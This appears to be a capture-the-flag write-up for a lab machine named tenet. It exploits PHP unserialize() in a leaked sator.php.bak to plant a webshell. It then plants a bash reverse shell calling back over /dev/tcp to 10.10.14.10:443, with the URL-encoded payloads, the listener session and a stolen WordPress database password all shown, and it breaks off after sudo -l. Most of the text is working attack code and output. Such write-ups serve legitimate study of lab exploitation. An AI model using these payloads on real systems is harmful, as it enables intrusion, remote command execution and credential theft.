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# 3 php file injection (deserialization exploit)

```
http://10.10.10.223/sator.php.bak
<?php
class DatabaseExport
{
        public $user_file = 'users.txt';
        public $data = '';
        public function update_db()
        {
                echo '[+] Grabbing users from text file <br>';
                $this-> data = 'Success';
        }
        public function __destruct()
        {
                file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
                echo '[] Database updated <br>';
        //      echo 'Gotta get this working properly...';
        }
}
$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);
$app = new DatabaseExport;
$app -> update_db();
?>
```

Using <https://medium.com/swlh/exploiting-php-deserialization-56d71f03282a>

* We understand the we need to pass arepo= (some serialized string);
* func `__destruct` calls `file_put_contents` basically making a new file with the `$user_file` as name and `$data` as its contents.
* We can exploit this by creating our own serialized class.

```
class DatabaseExport
{
        public $user_file = 'webshell.php';
        public $data = '<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>';
}
print urlencode(serialize(new DatabaseExport));

# object we are sending is
O:14:"DatabaseExport":2:{s:9:"user_file";s:12:"webshell.php";s:4:"data";s:60:"" . shell_exec($_GET["cmd"]) . ""; ?>";}

# urlencoded serialized object is
O%3A14%3A%22DatabaseExport%22%3A2%3A%7Bs%3A9%3A%22user_file%22%3Bs%3A12%3A%22webshell.php%22%3Bs%3A4%3A%22data%22%3Bs%3A60%3A%22%3C%3Fphp+echo+%22%3Cpre%3E%22+.+shell_exec%28%24_GET%5B%22cmd%22%5D%29+.+%22%3C%2Fpre%3E%22%3B+%3F%3E%22%3B%7D 
```

Trying out <http://10.10.10.223/webshell.php?cmd=whoami>

```
www-data
```

Lets get a reverse-shell:

```
class DatabaseExport
{
        public $user_file = 'webshell.php';
        public $data = '<?php exec("/bin/bash -c \'bash -i > /dev/tcp/10.10.14.10/443 0>&1\'"); ?>';
}
print urlencode(serialize(new DatabaseExport));

# urlencoded serialized object is
O%3A14%3A%22DatabaseExport%22%3A2%3A%7Bs%3A9%3A%22user_file%22%3Bs%3A12%3A%22webshell.php%22%3Bs%3A4%3A%22data%22%3Bs%3A72%3A%22%3C%3Fphp+exec%28%22%2Fbin%2Fbash+-c+%27bash+-i+%3E+%2Fdev%2Ftcp%2F10.10.14.10%2F443+0%3E%261%27%22%29%3B+%3F%3E%22%3B%7D
```

```
$ rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.223] 55006
whoami;id
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)

cat wordpress/wp-config.php
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'neil' );
define( 'DB_PASSWORD', 'Opera2112' );

We can now SSH using neil:

sudo -l
Matching Defaults entries for www-data on tenet:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:

User www-data may run the following commands on tenet:
    (ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh
```